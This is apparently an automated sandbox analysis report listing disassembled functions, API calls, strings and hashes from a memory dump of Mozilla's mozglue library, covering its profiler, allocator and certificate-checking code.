Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init$exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGz$fJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.
API String ID: 3686969729-1127135270
Opcode ID: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction ID: c6530db8d483001a9cc3a5be6f4a3ddaa2171a2141896f4e08c50ecbdeb1dc71
Opcode Fuzzy Hash: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction Fuzzy Hash: 26223774A043009FE700EF758C08E5A7BF1BF8A34EF86452AE84997B41EB319855CB57

Function 6C51B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B845
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51B852
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51B884
InitializeConditionVariable.KERNEL32(?), ref: 6C51B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C51B9FD
GetCurrentThreadId.KERNEL32 ref: 6C51BA05
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C51BA27
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51BA4B
free.MOZGLUE(?), ref: 6C51C9C7
free.MOZGLUE(?), ref: 6C51C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C51C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C51C878

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction ID: f1613b9c6a0f6f171ad42f7b8f67fdec7367b8082a77b475d31e27ae16e26214
Opcode Fuzzy Hash: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction Fuzzy Hash: 02A2A071A083808FD725DF28C884B9FB7E5BFC9314F458A2DE89997750DB71A905CB82

Function 6C4E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4E6D26

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4E6D73
free.MOZGLUE(00000000), ref: 6C4E6D80
CertGetNameStringW.CRYPT32 ref: 6C4E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4E6E34
CreateFileW.KERNEL32 ref: 6C4E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E7103
free.MOZGLUE(00000000), ref: 6C4E7153
CloseHandle.KERNEL32(?), ref: 6C4E7176
__Init_thread_footer.LIBCMT ref: 6C4E7209
__Init_thread_footer.LIBCMT ref: 6C4E723A
__Init_thread_footer.LIBCMT ref: 6C4E726B
__Init_thread_footer.LIBCMT ref: 6C4E729C
__Init_thread_footer.LIBCMT ref: 6C4E72DC
__Init_thread_footer.LIBCMT ref: 6C4E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4E73C2
VerSetConditionMask.NTDLL ref: 6C4E73F3
VerSetConditionMask.NTDLL ref: 6C4E73FF
VerSetConditionMask.NTDLL ref: 6C4E7406
VerSetConditionMask.NTDLL ref: 6C4E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4E741A
moz_xmalloc.MOZGLUE(?), ref: 6C4E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4E7598
free.MOZGLUE(00000000), ref: 6C4E75AC

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C4E72C8
(, xrefs: 6C4E768A
wintrust.dll, xrefs: 6C4E72CD
SHA256, xrefs: 6C4E6EC0

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction ID: b06d740a9e50ccc23b9188a737284425df4012e8f07ba094d70d310e95f2117a
Opcode Fuzzy Hash: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction Fuzzy Hash: B052F671A043149BEB21DF24CC84FAA77B8EF89319F524199E909A7741DB70AF85CF90

Function 6C506FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C507019
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C507061
EnterCriticalSection.KERNEL32(?), ref: 6C5071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C50721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C50723E
EnterCriticalSection.KERNEL32(?), ref: 6C50726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C50733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C50961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C509622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C509642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096DB
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C509747
GetSystemInfo.KERNEL32(?), ref: 6C509792
__Init_thread_footer.LIBCMT ref: 6C5097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C5097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C509838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C509874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C509895

Strings

MOZ_CRASH(), xrefs: 6C509B42
<jemalloc>, xrefs: 6C509B33, 6C509BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5099BD
Compile-time page size does not divide the runtime one., xrefs: 6C509B38
MALLOC_OPTIONS, xrefs: 6C5097CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C509BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5099A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509933, 6C509A33, 6C509A4E
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5099D2
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C509993

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction ID: 4b3d0686faad25a8062c089349d5a08f7aafd27d2a3ff80a47eb39d307e18f48
Opcode Fuzzy Hash: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction Fuzzy Hash: B9535D71B057018FD714CF28C981615BBE1BF8A328F29CAADE869CB795D771E841CB81

Function 6C510DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C510F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C510F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C510FB7
EnterCriticalSection.KERNEL32(?), ref: 6C510FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C511031
LeaveCriticalSection.KERNEL32(?), ref: 6C5110D0
EnterCriticalSection.KERNEL32(?), ref: 6C51117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C511C39
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C513391
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C5133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C513431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513437

Strings

MOZ_CRASH(), xrefs: 6C513950
<jemalloc>, xrefs: 6C513941, 6C5139F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5137BD
Compile-time page size does not divide the runtime one., xrefs: 6C513946
MALLOC_OPTIONS, xrefs: 6C5135FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C513A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5137A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C513559, 6C51382D, 6C513848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5137D2
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C513793

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction ID: b53373d5aa5099417f6ca6d7f0cb2d802ad99c7a3cd5cceec69db28c209a78ce
Opcode Fuzzy Hash: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction Fuzzy Hash: 5653B271A097018FE704CF19C954616FBE1BF86328F29C7ADE8699BB91D371E841CB81

Function 6C5355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C50E1A5), ref: 6C535606
LoadLibraryW.KERNEL32(gdi32,?,6C50E1A5), ref: 6C53560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C535633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C53563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C53566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C53567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C535696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C535716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C53572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C535748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C535761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C53577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C535793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5357FF

Strings

RegisterClassW, xrefs: 6C5356AC
GetThreadDpiAwarenessContext, xrefs: 6C53562D
CreateWindowExW, xrefs: 6C5356C5
AreDpiAwarenessContextsEqual, xrefs: 6C535637
LoadIconW, xrefs: 6C53575B
gdi32, xrefs: 6C53560A
LoadCursorW, xrefs: 6C535774
SetWindowLongPtrW, xrefs: 6C5357B7
GetSystemMetricsForDpi, xrefs: 6C535677
StretchDIBits, xrefs: 6C5357CC
EnableNonClientDpiScaling, xrefs: 6C535666
MonitorFromWindow, xrefs: 6C53578D
ReleaseDC, xrefs: 6C535742
ShowWindow, xrefs: 6C5356DE
GetMonitorInfoW, xrefs: 6C5357A2
FillRect, xrefs: 6C535729
CreateSolidBrush, xrefs: 6C5357E4
GetWindowDC, xrefs: 6C535710
DeleteObject, xrefs: 6C5357F9
user32, xrefs: 6C535601
SetWindowPos, xrefs: 6C5356F7
GetDpiForWindow, xrefs: 6C535690

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction ID: 796edcc5dd6f2a835eb140c545e75888e6ff49fd23311c8afd15b90329621664
Opcode Fuzzy Hash: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction Fuzzy Hash: B95187707013139BDB01AF359D489277BF8AB072457E66526ED56E2A02FF74C900CF68

Function 6C5334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EE2

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5361DD
Part of subcall function 6C536180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C53622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534157

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536250
Part of subcall function 6C536180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C53484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534896
free.MOZGLUE ref: 6C53489F

Strings

, xrefs: 6C534CD2

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction ID: 1bc7fa6fb82e0900ce15ae0d9c3ca598bca0578860ba7636ef2964d95a4733b6
Opcode Fuzzy Hash: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction Fuzzy Hash: F5F23B74908B80CFC725CF28C48469AFBF1BFC9358F518A5ED99997711DB329886CB42

Function 6C51F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C51F155
GetCurrentThreadId.KERNEL32 ref: 6C51F1E0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F1ED
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F212
GetCurrentThreadId.KERNEL32 ref: 6C51F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F248
GetCurrentThreadId.KERNEL32 ref: 6C51F2AE
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2BB
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2F8

